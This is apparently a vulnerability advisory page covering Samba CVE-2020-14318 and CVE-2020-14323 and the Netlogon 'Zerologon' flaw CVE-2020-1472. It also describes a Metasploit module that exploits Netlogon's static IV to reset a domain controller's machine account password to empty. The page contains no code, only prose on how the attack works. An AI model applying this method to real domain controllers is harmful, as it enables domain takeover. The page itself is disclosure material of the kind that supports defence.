Vulnerability Summary

A flaw was found in the way samba handled file and directory permissions. An authenticated user could use this flaw to gain access to certain file and directory information which otherwise would be unavailable to the attacker. (CVE-2020-14318) A null pointer dereference flaw was found in Samba's winbind service. This flaw allows a local user to crash the winbind service, causing a denial of service. The highest threat from this vulnerability is to system availability. (CVE-2020-14323) A flaw was found in the Microsoft Windows Netlogon Remote Protocol (MS-NRPC), where it reuses a known, static, zero-value initialization vector (IV) in AES-CFB8 mode. This flaw allows an unauthenticated malicious user to impersonate a domain-joined computer, including a domain controller, and possibly obtain domain administratorprivileges. The highest threat from this vulnerability is to confidentiality, integrity, as well as system availability. (CVE-2020-1472)

Metasploit Modules

Netlogon Weak Cryptographic Authentication

A vulnerability exists within the Netlogon authentication process where the security properties granted by AES are lost due to an implementation flaw related to the use of a static initialization vector (IV). An attacker can leverage this flaw to target an Active Directory Domain Controller and make repeated authentication attempts using NULL data fields which will succeed every 1 in 256 tries (~0.4%). This module leverages the vulnerability to reset the machine account password to an empty string, which will then allow the attacker to authenticate as the machine account. After exploitation, it's important to restore this password to it's original value. Failure to do so can result in service instability.
